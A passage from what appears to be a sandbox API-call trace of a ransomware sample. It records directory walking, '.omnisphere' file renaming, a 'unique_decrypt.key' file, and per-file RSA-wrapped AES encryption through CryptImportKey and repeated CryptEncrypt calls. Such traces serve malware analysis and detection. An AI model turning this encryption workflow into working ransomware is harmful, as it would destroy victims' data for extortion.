cAlternateFileName="F01B4D~1.ID")) returned 1 [0128.453] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67fe51f2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x67fe51f2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2da31a8f, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="fb3b0dbfee58fac8.automaticDestinations-ms.omnisphere", cAlternateFileName="FB3B0D~1.OMN")) returned 1 [0128.453] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da31a8f, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2da31a8f, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2da31a8f, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="fb3b0dbfee58fac8.automaticDestinations-ms.omnisphere.id", cAlternateFileName="FB3B0D~1.ID")) returned 1 [0128.453] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d43bc45, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2da7e08d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2da7e08d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0128.453] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d43bc45, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d43bc45, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2da7e08d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key.omnisphere", cAlternateFileName="UNIQUE~1.OMN")) returned 1 [0128.453] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da7e08d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2da7e08d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2da7e08d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key.omnisphere.id", cAlternateFileName="UNIQUE~1.ID")) returned 1 [0128.453] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da7e08d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2da7e08d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2da7e08d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key.omnisphere.id", cAlternateFileName="UNIQUE~1.ID")) returned 0 [0128.453] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0128.453] GetProcessHeap () returned 0x1600000 [0128.453] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f52f8 | out: hHeap=0x1600000) returned 1 [0128.453] GetProcessHeap () returned 0x1600000 [0128.453] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4b10 | out: hHeap=0x1600000) returned 1 [0128.453] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x219b5bd8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x219b5bd8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2862f9e3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x9f7, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="AWZI9 (2).lnk.omnisphere", cAlternateFileName="AWZI9(~1.OMN")) returned 1 [0128.453] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2862f9e3, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2862f9e3, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2862f9e3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="AWZI9 (2).lnk.omnisphere.id", cAlternateFileName="AWZI9(~1.ID")) returned 1 [0128.454] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9292a66, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x2185e7b9, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28655c5d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x9f7, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="AWZI9.lnk.omnisphere", cAlternateFileName="AWZI9L~1.OMN")) returned 1 [0128.454] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28655c5d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x28655c5d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28655c5d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="AWZI9.lnk.omnisphere.id", cAlternateFileName="AWZI9L~1.ID")) returned 1 [0128.454] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22496844, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22496844, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x286a1fd0, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x9b7, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="BIa5loVm.lnk.omnisphere", cAlternateFileName="BIA5LO~1.OMN")) returned 1 [0128.454] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x286a1fd0, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x286a1fd0, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x286a1fd0, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="BIa5loVm.lnk.omnisphere.id", cAlternateFileName="BIA5LO~1.ID")) returned 1 [0128.454] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a3cd579, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1a3cd579, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x286ef0f7, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="BiUlTgA5fV_8e8CfhUI.lnk.omnisphere", cAlternateFileName="BIULTG~1.OMN")) returned 1 [0128.454] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x286c7ff9, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x286c7ff9, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x286ef0f7, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="BiUlTgA5fV_8e8CfhUI.lnk.omnisphere.id", cAlternateFileName="BIULTG~1.ID")) returned 1 [0128.454] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d945bc6, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1d945bc6, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2871473d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x991, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="bRyEd0espQWz0t7k.lnk.omnisphere", cAlternateFileName="BRYED0~1.OMN")) returned 1 [0128.454] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2871473d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2871473d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2871473d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="bRyEd0espQWz0t7k.lnk.omnisphere.id", cAlternateFileName="BRYED0~1.ID")) returned 1 [0128.454] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ff79fd0, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1ff79fd0, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2873a7e4, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x906, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="CbldwgvSWUBGKhtjub.lnk.omnisphere", cAlternateFileName="CBLDWG~1.OMN")) returned 1 [0128.454] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2873a7e4, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2873a7e4, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2873a7e4, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="CbldwgvSWUBGKhtjub.lnk.omnisphere.id", cAlternateFileName="CBLDWG~1.ID")) returned 1 [0128.454] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf9a81f7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x257b0071, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x257b0071, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="CustomDestinations", cAlternateFileName="CUSTOM~1")) returned 1 [0128.454] GetProcessHeap () returned 0x1600000 [0128.454] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0128.454] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="CustomDestinations" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations" [0128.454] GetProcessHeap () returned 0x1600000 [0128.454] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xaa) returned 0x16f4d38 [0128.454] PathCombineW (in: pszDest=0x16f4d38, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*" [0128.454] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*", lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf9a81f7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x257b0071, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x257b0071, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcc, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0128.456] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf9a81f7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x257b0071, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x257b0071, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcc, cFileName="..", cAlternateFileName="")) returned 1 [0128.457] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bfc86f, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xa5bfc86f, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xa5bfc86f, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x142f, dwReserved0=0x0, dwReserved1=0xcc, cFileName="28c8b86deab549a1.customDestinations-ms", cAlternateFileName="28C8B8~1.CUS")) returned 1 [0128.457] GetProcessHeap () returned 0x1600000 [0128.457] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf4) returned 0x160e0d8 [0128.457] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", pszFile="28c8b86deab549a1.customDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\28c8b86deab549a1.customDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\28c8b86deab549a1.customDestinations-ms" [0128.457] StrStrW (lpFirst=".omnisphere", lpSrch=".customDestinations-ms") returned 0x0 [0128.457] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\28c8b86deab549a1.customDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\28c8b86deab549a1.customdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.458] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=5167) returned 1 [0128.458] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xf0b, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.459] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0128.460] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x142f, lpName=0x0) returned 0x3c0 [0128.460] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0128.460] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.461] CloseHandle (hObject=0x3c0) returned 1 [0128.461] GetTickCount () returned 0x11600c3 [0128.461] GetTickCount () returned 0x11600c3 [0128.461] GetTickCount () returned 0x11600c3 [0128.461] GetTickCount () returned 0x11600c3 [0128.461] GetTickCount () returned 0x11600c3 [0128.461] GetTickCount () returned 0x11600c3 [0128.461] GetTickCount () returned 0x11600c3 [0128.461] GetTickCount () returned 0x11600c3 [0128.461] GetTickCount () returned 0x11600c3 [0128.461] GetTickCount () returned 0x11600c3 [0128.461] GetTickCount () returned 0x11600c3 [0128.461] GetTickCount () returned 0x11600c3 [0128.461] GetTickCount () returned 0x11600c3 [0128.461] GetTickCount () returned 0x11600c3 [0128.461] GetTickCount () returned 0x11600c3 [0128.461] GetTickCount () returned 0x11600c3 [0128.461] GetTickCount () returned 0x11600c3 [0128.461] GetTickCount () returned 0x11600c3 [0128.461] GetTickCount () returned 0x11600c3 [0128.461] GetTickCount () returned 0x11600c3 [0128.461] GetTickCount () returned 0x11600c3 [0128.461] GetTickCount () returned 0x11600c3 [0128.461] GetTickCount () returned 0x11600c3 [0128.462] GetTickCount () returned 0x11600c3 [0128.462] GetTickCount () returned 0x11600c3 [0128.462] GetTickCount () returned 0x11600c3 [0128.462] GetTickCount () returned 0x11600c3 [0128.462] GetTickCount () returned 0x11600c3 [0128.462] GetTickCount () returned 0x11600c3 [0128.462] GetTickCount () returned 0x11600c3 [0128.462] GetTickCount () returned 0x11600c3 [0128.462] GetTickCount () returned 0x11600c3 [0128.462] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668e78) returned 1 [0128.463] CryptImportKey (in: hProv=0x1668e78, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b68) returned 1 [0128.463] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0128.463] CryptDestroyKey (hKey=0x1639b68) returned 1 [0128.463] CryptReleaseContext (hProv=0x1668e78, dwFlags=0x0) returned 1 [0128.463] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x142f, lpName=0x0) returned 0x3c0 [0128.463] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x142f) returned 0x1480000 [0128.463] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1669010) returned 1 [0128.464] CryptImportKey (in: hProv=0x1669010, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639b68) returned 1 [0128.464] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0128.464] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0128.464] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.464] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.464] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.464] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.464] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.464] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.464] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.465] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.465] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.465] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.465] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.465] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.465] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.465] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.465] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.465] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.465] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.465] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.465] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.465] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.465] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.465] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.465] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.465] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.465] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) 